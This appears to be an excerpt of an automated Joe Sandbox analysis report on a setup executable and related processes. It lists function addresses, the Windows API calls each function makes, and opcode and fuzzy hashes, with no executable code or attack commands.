Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 87cb8ae9c1cf74add33d3a5ce8298b3a56aa746954c3bb09cc9a35b9e8ce4221
Instruction ID: 41f2b16532b44f98b959e9dfcba3e51f861bba99fb45d7d816257e5ccb8f88eb
Opcode Fuzzy Hash: 87cb8ae9c1cf74add33d3a5ce8298b3a56aa746954c3bb09cc9a35b9e8ce4221
Instruction Fuzzy Hash: 2C11A3715093C09FD7128B25DC85A52BFF4EF06221F0984DAED858B263D368A808DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0095B1B4 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0095B208

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 8cdceccd087f16fb4155f2d261c9ec180809d978b236dda774d4a54c3937cdcc
Instruction ID: a9a9ee959ad2087c4c716214d4217fd4a9b7877cc377984dfb6020b75c3e6cf9
Opcode Fuzzy Hash: 8cdceccd087f16fb4155f2d261c9ec180809d978b236dda774d4a54c3937cdcc
Instruction Fuzzy Hash: 281170714093C09FDB12CF15DC84B56BFA4EF56221F0884DAED849F252D279A908CB72

Uniqueness

Uniqueness Score: -1.00%

Function 0095AA46 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 0095AA8B

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 9634c607e0879f0de24bad9492ad412ca21b46bfd792a7e0a4739d019d97ac35
Instruction ID: 99ead6678c13930f3a93cee013f450344052bff4cde49ef39f6a1eca7f9ebef8
Opcode Fuzzy Hash: 9634c607e0879f0de24bad9492ad412ca21b46bfd792a7e0a4739d019d97ac35
Instruction Fuzzy Hash: 3611C8716002419FEB10CF26D985B56FBDCEF04322F08C5AAED05CB241D338E848CB66

Uniqueness

Uniqueness Score: -1.00%

Function 0095A7C2 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E24,4246C70C,00000000,00000000,00000000,00000000), ref: 0095A815

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: a1e0ec44fa63bc1b44c21b194b7734e106944fb5c430ff0789f9696000807de3
Instruction ID: 91261cae6864ecf2aca3b3c5a301d53990ed557a98f2200e432bb04c734496e6
Opcode Fuzzy Hash: a1e0ec44fa63bc1b44c21b194b7734e106944fb5c430ff0789f9696000807de3
Instruction Fuzzy Hash: 85012271900204AFE720CB12DC85BA6FBDCEF04725F14C096EE458B281D37CA808CBBA

Uniqueness

Uniqueness Score: -1.00%

Function 0095A172 Relevance: 1.5, APIs: 1, Instructions: 47fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNELBASE(?,00000E24,?,?), ref: 0095A1C2

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 75e1f42e912fd0ab1ee5fa9804ea0843c7bd36bb39ef4a32a09540fedfb9d546
Instruction ID: 9d781e38c808dd3a010b4179d53f31c6d337bf8b71eacc57fd7820a7390cbbde
Opcode Fuzzy Hash: 75e1f42e912fd0ab1ee5fa9804ea0843c7bd36bb39ef4a32a09540fedfb9d546
Instruction Fuzzy Hash: 87017171600200AFD310DF26DC46B26FBE8EB88A20F14855AED489B641D735B955CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0095ABE6 Relevance: 1.5, APIs: 1, Instructions: 47pipeCOMMON

Download Yara Rule

APIs

CreatePipe.KERNELBASE(?,00000E24,?,?), ref: 0095AC36

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: CreatePipe
String ID:
API String ID: 2719314638-0
Opcode ID: 8e8afdf40d082efa73c1290458d96ca58fee279269118ddd4791116be2c50152
Instruction ID: 9f073aba731f9295a74c0b2e1f05b8b91bb6d92d0f3bbdb879a1026af51695e1
Opcode Fuzzy Hash: 8e8afdf40d082efa73c1290458d96ca58fee279269118ddd4791116be2c50152
Instruction Fuzzy Hash: D4017171600200AFD350DF26DC46B26FBE8FB88A20F14855AED489B641D735B955CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0095A716 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 0095A748

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 3597db9ff6e11818fc9b6556f32e34c717dfed980c8958dc739df6bc9397e222
Instruction ID: aed28eeb3f937a3c2185e8a3b37304c02a4927e6c111461748bc1b46b69861a8
Opcode Fuzzy Hash: 3597db9ff6e11818fc9b6556f32e34c717dfed980c8958dc739df6bc9397e222
Instruction Fuzzy Hash: 3201F7749002408FDB10CF16D885766FBE4DF04322F18C4AADD058F652D378E848CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0095AFB2 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?), ref: 0095AFE4

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 30a16b2d92d8817d1a4aef117ced1d0ede223742e0a51e3f6d04c02e5db47330
Instruction ID: c541f5ff68831f66e42833f32c60de1b1cbf2523a3d33595fd4d69361e04cd68
Opcode Fuzzy Hash: 30a16b2d92d8817d1a4aef117ced1d0ede223742e0a51e3f6d04c02e5db47330
Instruction Fuzzy Hash: C001D1745002448FDB10CF26DC85762FBD4EF05322F08C0AADD058B692D379E848DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0095A2DA Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0095A30C

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: ac6ad7471f31e534a4473ff41459a8e297f9e21582aa104e51baddb1cac8b3e3
Instruction ID: eb37b1a700300719c55cb0aca376c236044c80b5f6d4b2c3568feae23eef75b7
Opcode Fuzzy Hash: ac6ad7471f31e534a4473ff41459a8e297f9e21582aa104e51baddb1cac8b3e3
Instruction Fuzzy Hash: 4BF0FF344042448FDB20DF06D885762FBE4EF04326F08C1AADD080B252D378A848CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 048202C0 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2618024620.0000000004820000.00000040.00000800.00020000.00000000.sdmp, Offset: 04820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4820000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4410f9a0ce4500bda9e157d6cdb5a7ffff6f5b5262ab99560e66432d9f9d5da
Instruction ID: 1f6c8410e8edfba41c3c5b9fabd67dec468b0944d74a8104ffca8b754edd4496
Opcode Fuzzy Hash: c4410f9a0ce4500bda9e157d6cdb5a7ffff6f5b5262ab99560e66432d9f9d5da
Instruction Fuzzy Hash: A2B14F34B01110CFCB14EF64EA68A9A7BF2FF89344B109929DA069B35DDB31DD49CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04820B8F Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2618024620.0000000004820000.00000040.00000800.00020000.00000000.sdmp, Offset: 04820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4820000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51006597f8c8fbe07fcca5a73e2730465ea37adbd16ea68a2f259b2af860c260
Instruction ID: 984b0d94ec8edf60756a67a3338b884a9316f13edbbf75260178d12704e755cb
Opcode Fuzzy Hash: 51006597f8c8fbe07fcca5a73e2730465ea37adbd16ea68a2f259b2af860c260
Instruction Fuzzy Hash: 41119635A101186FCB05DB74D8949DF7BF2FF98208B154575D606D7266EF31D8068781

Uniqueness

Uniqueness Score: -1.00%

Function 04820BA0 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2618024620.0000000004820000.00000040.00000800.00020000.00000000.sdmp, Offset: 04820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4820000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c01a1992197e230ebe35a66a2a5e169029e1c97c31c24b7b98c1959a0158623
Instruction ID: 6c9d9212fb6a64031f9905ad71f5795e521caa57646c1b53bcc5deccc036233f
Opcode Fuzzy Hash: 9c01a1992197e230ebe35a66a2a5e169029e1c97c31c24b7b98c1959a0158623
Instruction Fuzzy Hash: 3611A731B101186FCF04AB74D85899E7BF6FF98218B164475E605D7226DF31DC0587C1

Uniqueness

Uniqueness Score: -1.00%

Function 00B4080A Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2616702293.0000000000B40000.00000040.00000020.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b40000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e4d3ef4b7f3e41ce39b0f95268837565db9c7bdb195fdbc43d15c5cf7dae980
Instruction ID: c5018a284805b4a4e2f0058c5d43b577659b897e841616091c435b2137be0fc4
Opcode Fuzzy Hash: 2e4d3ef4b7f3e41ce39b0f95268837565db9c7bdb195fdbc43d15c5cf7dae980
Instruction Fuzzy Hash: 7C01B5B24093446FD701DB149C41C57BFFCDF82620B0485ABE8848B102D365A905CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00B405E2 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2616702293.0000000000B40000.00000040.00000020.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b40000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a952cb2a6fbfb287c03e27f8df49e3cb2a937cab2281021e64e01a7f172bb199
Instruction ID: f4c1bbb1ba7617e5b687709a635495e371831702a901c2665edfea1ef8e38408
Opcode Fuzzy Hash: a952cb2a6fbfb287c03e27f8df49e3cb2a937cab2281021e64e01a7f172bb199
Instruction Fuzzy Hash: B601D6B65097845FD711CB06DC40863FFF8EE86220708809FEC498B612D239B805CB72

Uniqueness

Uniqueness Score: -1.00%

Function 00B4082E Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2616702293.0000000000B40000.00000040.00000020.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b40000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 430cbd6828193933b1c899b07b0dd2b1b1b28ab4da660c88691dec9729876dfd
Instruction ID: 4f6fe962e40c900ccbf761a4e0583645b23340ef99ee187f75eeb5514bf2b2e9
Opcode Fuzzy Hash: 430cbd6828193933b1c899b07b0dd2b1b1b28ab4da660c88691dec9729876dfd
Instruction Fuzzy Hash: B6F082B29056046BD200EF55ED46866F7ECEF84521F04C52BED488B301E37AB9158BF2

Uniqueness

Uniqueness Score: -1.00%

Function 04820C50 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2618024620.0000000004820000.00000040.00000800.00020000.00000000.sdmp, Offset: 04820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4820000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b78907a7a09c104d7ef1c1174da77953770fbb15a8ec5e4e862aa37f27092adb
Instruction ID: 84fe13b44fab1712b6b680fe469a634a995018e4269139ea720794e5eb7eb9ed
Opcode Fuzzy Hash: b78907a7a09c104d7ef1c1174da77953770fbb15a8ec5e4e862aa37f27092adb
Instruction Fuzzy Hash: 5EE0DF31F182641FCB04EABC88541AE3FA19B96154F6645BAC008CB293EF31C9028381

Uniqueness

Uniqueness Score: -1.00%

Function 00B40606 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2616702293.0000000000B40000.00000040.00000020.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b40000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 681c235fefa4b2b232ba7ace44c4f8f4e4fd47254757d989fd1eb9444828eb64
Instruction ID: e7ebf724c8cef08efc7839bc7bb10776692bfe17b00e6aab5156c2790dcc0d07
Opcode Fuzzy Hash: 681c235fefa4b2b232ba7ace44c4f8f4e4fd47254757d989fd1eb9444828eb64
Instruction Fuzzy Hash: 3BE092B66006044BD650DF0BEC82462F7D8EB84631708C07FDC0D8B701D639B505CBB6

Uniqueness

Uniqueness Score: -1.00%

Function 04820C60 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2618024620.0000000004820000.00000040.00000800.00020000.00000000.sdmp, Offset: 04820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4820000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12bcc195dc6e44eb7303ec3545dd50c43b475bb969c2eb03f00b884d1136d1b0
Instruction ID: e6ecd135d2f394120e3d8f29ca58077fcdbfeaa4e60b59e2d28dc37916aa3404
Opcode Fuzzy Hash: 12bcc195dc6e44eb7303ec3545dd50c43b475bb969c2eb03f00b884d1136d1b0
Instruction Fuzzy Hash: 46D01771F002182F8B58EAB998495AFBAEA9B85164B668479D009DB341EE31D9428790

Uniqueness

Uniqueness Score: -1.00%

Function 04820DD1 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2618024620.0000000004820000.00000040.00000800.00020000.00000000.sdmp, Offset: 04820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4820000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abf3f2289b08388c1737e5eaf54d650bca4ec60898a19477b6cb324068dc2e30
Instruction ID: e2b2de0cbdeca753b1fce7a9bcdc8966cb5182002ef327a238740b7c50d115f1
Opcode Fuzzy Hash: abf3f2289b08388c1737e5eaf54d650bca4ec60898a19477b6cb324068dc2e30
Instruction Fuzzy Hash: 97E0C23024D3A04FC703D338C97499A3F615F92208F4A86AAC488CB2E7D660D884C782

Uniqueness

Uniqueness Score: -1.00%

Function 009523F4 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2616279580.0000000000952000.00000040.00000800.00020000.00000000.sdmp, Offset: 00952000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_952000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb76f4f09f43216b80aaef7af572c9dce84cd5d652d4e4e89c3278161e084f05
Instruction ID: b1e36aa9799fe2c526131832f4d4d54aa79d5e720356e4d3265edb85d7af7f26
Opcode Fuzzy Hash: cb76f4f09f43216b80aaef7af572c9dce84cd5d652d4e4e89c3278161e084f05
Instruction Fuzzy Hash: 41D05E792097814FD316DF1CC1A5B9537D8AF52715F4A44F9AC408B773C768E985D600

Uniqueness

Uniqueness Score: -1.00%

Function 009523BC Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2616279580.0000000000952000.00000040.00000800.00020000.00000000.sdmp, Offset: 00952000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_952000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 244c0c8e71ef20df4b67394202a25270323020b94c38f824b086a4fec79fe183
Instruction ID: c320491ef96e74b7e3171e4eb405fafa031ef2ce3828a6257b3aaaaf656295b7
Opcode Fuzzy Hash: 244c0c8e71ef20df4b67394202a25270323020b94c38f824b086a4fec79fe183
Instruction Fuzzy Hash: 63D017342402814BC715DB1DC2D4F5933D8AB41B15F0644A8AC108B262C7B8D984CA00

Uniqueness

Uniqueness Score: -1.00%

Function 04820DE0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2618024620.0000000004820000.00000040.00000800.00020000.00000000.sdmp, Offset: 04820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4820000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e43884015eecb76413387e65fb4c828d02e8496ff33a8699f09639fc9234ccd3
Instruction ID: dcd85e92b92e0c79c23d3025491c8da51b58bf1ca3280658e97940d0f532e453
Opcode Fuzzy Hash: e43884015eecb76413387e65fb4c828d02e8496ff33a8699f09639fc9234ccd3
Instruction Fuzzy Hash: B7C012302002148FD704A76CD618A2577D65BD4308F55C96486084B255CAB0F8C0C680

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: SetupSuite_21.8_win64_86_sm.exePID: 5088, Parent PID: 5176COMMON

Execution Graph

Execution Coverage:	33.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.4%
Total number of Nodes:	147
Total number of Limit Nodes:	7

Executed Functions

Function 0043FCEE Relevance: 1.6, APIs: 1, Instructions: 123
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0043FC8E: GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 0043FCBE

NtQuerySystemInformation.NTDLL(00000005,00000000,00040000,00040000), ref: 0043FD52

Memory Dump Source

Source File: 0000000B.00000002.2370650653.000000000043E000.00000020.00000001.01000000.00000008.sdmp, Offset: 0043E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_43e000_SetupSuite_21.jbxd

Similarity

API ID: AllocGlobalInformationQuerySystem
String ID:
API String ID: 3737350999-0
Opcode ID: af0b5cb85ebff21ad004f17c148dcb155806cd6198d72419ed993a28eb2c6b99
Instruction ID: 516d0f03a7cdde53c85732fc9c261fb821ac87aa6bbb1eee8bf8760c4df67eda
Opcode Fuzzy Hash: af0b5cb85ebff21ad004f17c148dcb155806cd6198d72419ed993a28eb2c6b99
Instruction Fuzzy Hash: F3513B75D00209EFCB04CF98C885AEEB7B5BF4C304F20956AE915AB351D738AE45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0043F5CE Relevance: 4.6, APIs: 3, Instructions: 79
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,?,?,?), ref: 0043F5F0

Memory Dump Source

Source File: 0000000B.00000002.2370650653.000000000043E000.00000020.00000001.01000000.00000008.sdmp, Offset: 0043E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_43e000_SetupSuite_21.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f2ed564a57136dcdfd9afc14d4280a279a6561515fd8f8e06747ede3fd6620df
Instruction ID: cb19be70a5d7ea6c1cb77367970cd37b290b793049fec45a4f32539622b26467
Opcode Fuzzy Hash: f2ed564a57136dcdfd9afc14d4280a279a6561515fd8f8e06747ede3fd6620df
Instruction Fuzzy Hash: 9531DD75A00108FFCB04DF98C891F9EB7B9EF4C310F209199E919AB391D635AE46DB94

Uniqueness

Uniqueness Score: -1.00%

Function 0044040E Relevance: 4.0, APIs: 2, Instructions: 995
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0043FC8E: GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 0043FCBE

Part of subcall function 0043F1FE: LoadLibraryW.KERNELBASE(?), ref: 0043F22F

VirtualProtect.KERNELBASE(?,00000000,?,00000000), ref: 00440FE3
VirtualProtect.KERNELBASE(?,00000000,00000000,00000000), ref: 00441016

Memory Dump Source

Source File: 0000000B.00000002.2370650653.000000000043E000.00000020.00000001.01000000.00000008.sdmp, Offset: 0043E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_43e000_SetupSuite_21.jbxd

Similarity

API ID: ProtectVirtual$AllocGlobalLibraryLoad
String ID:
API String ID: 2510009449-0
Opcode ID: 240aa55989c54137efdc20a0ee1ae1ca480df6d3202c4e1da627c4bf8a4fd026
Instruction ID: 598612208742af296bdc27f5a2a96e270eb50b1c571398133fa23d7e8dd9d187
Opcode Fuzzy Hash: 240aa55989c54137efdc20a0ee1ae1ca480df6d3202c4e1da627c4bf8a4fd026
Instruction Fuzzy Hash: C292C5B5E00208EFDB14DB99C891EEEB7B5AF8C304F2481A9E509A7341D635AE45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0043FBBE Relevance: 3.0, APIs: 2, Instructions: 50
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0043FBE0
WriteFile.KERNELBASE(000000FF,00000000,?,00000000,00000000), ref: 0043FC0E

Memory Dump Source

Source File: 0000000B.00000002.2370650653.000000000043E000.00000020.00000001.01000000.00000008.sdmp, Offset: 0043E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_43e000_SetupSuite_21.jbxd

Similarity

API ID: File$CreateWrite
String ID:
API String ID: 2263783195-0
Opcode ID: 25e051ee84f5a1836dda3222278f4334694447e0a98cf775cf13d888adafe703
Instruction ID: 4007147bb80e3361855076cbac5b072b984ed4fda2943f22067d945bf48e7ce8
Opcode Fuzzy Hash: 25e051ee84f5a1836dda3222278f4334694447e0a98cf775cf13d888adafe703
Instruction Fuzzy Hash: 4B012D74640208BBCB10DE98CC41F9EB3B9AF88314F209155FE189B281D631EE06DB94

Uniqueness

Uniqueness Score: -1.00%

Function 0043F1FE Relevance: 1.5, APIs: 1, Instructions: 25
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0043FC8E: GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 0043FCBE

LoadLibraryW.KERNELBASE(?), ref: 0043F22F

Memory Dump Source

Source File: 0000000B.00000002.2370650653.000000000043E000.00000020.00000001.01000000.00000008.sdmp, Offset: 0043E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_43e000_SetupSuite_21.jbxd

Similarity

API ID: AllocGlobalLibraryLoad
String ID:
API String ID: 3361179946-0
Opcode ID: f0635a325a859858965f79386bc2292b2c6fb1dc49c835a5e9fb86d575d4b663
Instruction ID: c7f734d6247dc81ce67487cd27a76bb2c47b71c1c8034dc14e0fbde944c89034
Opcode Fuzzy Hash: f0635a325a859858965f79386bc2292b2c6fb1dc49c835a5e9fb86d575d4b663
Instruction Fuzzy Hash: 00E0ED75E01208BBCB00EFA8DD8299D7BB8AF4C205F5081A9FD0897340E635AA158B91

Uniqueness

Uniqueness Score: -1.00%

Function 0044121E Relevance: 1.5, APIs: 1, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2370650653.000000000043E000.00000020.00000001.01000000.00000008.sdmp, Offset: 0043E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_43e000_SetupSuite_21.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbb50fb56afd143785edb8b3f824610f8feaaf99d530fe6b5dcc6f423fa21a8f
Instruction ID: 9b99d5fbe9b7d6900230e5d1a252c215fe623e58e05c0999792b349b2ac4b293
Opcode Fuzzy Hash: dbb50fb56afd143785edb8b3f824610f8feaaf99d530fe6b5dcc6f423fa21a8f
Instruction Fuzzy Hash: 4391FB75D04209EFDF08CF99D884AEEBBB5BF88300F108159E919A7350D734AA85CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0043FC8E Relevance: 1.3, APIs: 1, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 0043FCBE

Memory Dump Source

Source File: 0000000B.00000002.2370650653.000000000043E000.00000020.00000001.01000000.00000008.sdmp, Offset: 0043E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_43e000_SetupSuite_21.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9e5e02ec3ae36198606aa10b822d832cfef97aae54456fdc6b76e3fc24730506
Instruction ID: 5a16cc93fe5b6038bcd1912abedf7a7c3e7dc44f015bf75facd64f370c3bd4a2
Opcode Fuzzy Hash: 9e5e02ec3ae36198606aa10b822d832cfef97aae54456fdc6b76e3fc24730506
Instruction Fuzzy Hash: 56F02278A14208EFCB44DF58D594959B7A5FB8C360F10C299EC198B345D631EE81DB94

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004403BE Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2370650653.000000000043E000.00000020.00000001.01000000.00000008.sdmp, Offset: 0043E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_43e000_SetupSuite_21.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction ID: 3aed54436f5767a83b01f55326dea564c088d466d319321e9a1229c6b183aa19
Opcode Fuzzy Hash: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction Fuzzy Hash: DCC04C7595664CEBC711CB89D541A59B7FCE709650F100195EC0893700D5356E109595

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: explorer.exePID: 3852, Parent PID: 2740COMMON

Non-executed Functions

Function 0C0DEDF0 Relevance: 11.5, Strings: 8, Instructions: 1523COMMON

Download Yara Rule

Strings

4F, xrefs: 0C0DFFCA
4F, xrefs: 0C0E0002
4F, xrefs: 0C0DEF9D
4F, xrefs: 0C0DEEE8
4F, xrefs: 0C0DEFC1
4F, xrefs: 0C0DEEB8
4F, xrefs: 0C0DEE97
4F, xrefs: 0C0E0072

Memory Dump Source

Source File: 0000000F.00000002.2614384661.000000000C0C0000.00000004.00000800.00020000.00000000.sdmp, Offset: 0C0C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_c0c0000_explorer.jbxd

Similarity

API ID:
String ID: 4F$ 4F$ 4F$ 4F$ 4F$ 4F$ 4F$ 4F
API String ID: 0-3703517576
Opcode ID: 0d87d9ce57303822d36bd737f92b79bd09f4438160395695a0c75a84f95793b6
Instruction ID: a09655b0d9e495d9da48a386836f23573fe2753ae2f094e448e321e5c42ee22c
Opcode Fuzzy Hash: 0d87d9ce57303822d36bd737f92b79bd09f4438160395695a0c75a84f95793b6
Instruction Fuzzy Hash: FEB29AB5B403016FE724EF68EC41ABA76E1FB85304F15853EF846C7690EBB4A805C75A

Uniqueness

Uniqueness Score: -1.00%

Function 0C0E0890 Relevance: 7.5, Strings: 4, Instructions: 2513COMMON

Download Yara Rule

Strings

gfff, xrefs: 0C0E19C4
4F, xrefs: 0C0E1D3A
4F, xrefs: 0C0E1DEC
4F, xrefs: 0C0E1D76

Memory Dump Source

Source File: 0000000F.00000002.2614384661.000000000C0C0000.00000004.00000800.00020000.00000000.sdmp, Offset: 0C0C0000, based on PE: false

